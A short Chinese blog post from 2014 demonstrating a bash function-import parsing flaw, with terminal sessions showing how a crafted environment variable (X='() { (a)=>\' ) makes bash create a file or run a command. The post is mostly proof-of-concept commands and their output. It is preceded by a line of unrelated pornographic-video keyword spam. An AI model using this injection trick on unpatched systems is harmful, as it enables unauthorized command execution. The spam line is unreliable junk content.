日本黄色一级经典视频|伊人久久精品视频|亚洲黄色色周成人视频九九九|av免费网址黄色小短片|黄色Av无码亚洲成年人|亚洲1区2区3区无码|真人黄片免费观看|无码一级小说欧美日免费三级|日韩中文字幕91在线看|精品久久久无码中文字幕边打电话

一個linux下的bash安全漏洞

嵌入式軟件
2014-10-14 22:56
關鍵字: Linux 安全漏洞 VI TE
收藏

   1. 通過設置一個特殊的環(huán)境變量的env,能間接地查到到linux命令的屬性,如下:

  [2014-09-27 13:00:54 david@davidcchen ~]$ ls -l date

  ls: cannot access date: No such file or directory

  [2014-09-27 13:01:13 david@davidcchen ~]$ env -i X='() { (a)=>\' bash -c 'date'

  bash: X: line 1: syntax error near unexpected token `='

  bash: X: line 1: `'

  bash: error importing function definition for `X'

  [2014-09-27 13:01:21 david@davidcchen ~]$ ls -l date

  -rw-rw-r--. 1 david david 0 Sep 27 13:01 date

  [2014-09-27 13:01:27 david@davidcchen ~]$

  2. 一次運行環(huán)境變量。

  [2014-09-27 13:01:27 david@davidcchen ~]$ zsh --version

  zsh 4.3.10 (x86_64-redhat-linux-gnu)

  [2014-09-27 13:03:24 david@davidcchen ~]$ bash --version

  GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)

  Copyright (C) 2009 Free Software Foundation, Inc.

  License GPLv3+: GNU GPL version 3 or later

  This is free software; you are free to change and redistribute it.

  There is NO WARRANTY, to the extent permitted by law.

  [2014-09-27 13:03:31 david@davidcchen ~]$ env X='() { (a)=>\' bash -c "echo date"; cat echo; rm echo

  bash: X: line 1: syntax error near unexpected token `='

  bash: X: line 1: `'

  bash: error importing function definition for `X'

  Sat Sep 27 13:03:52 CST 2014

  ---------->成功運行date命令

  [2014-09-27 13:03:52 david@davidcchen ~]$

相關推薦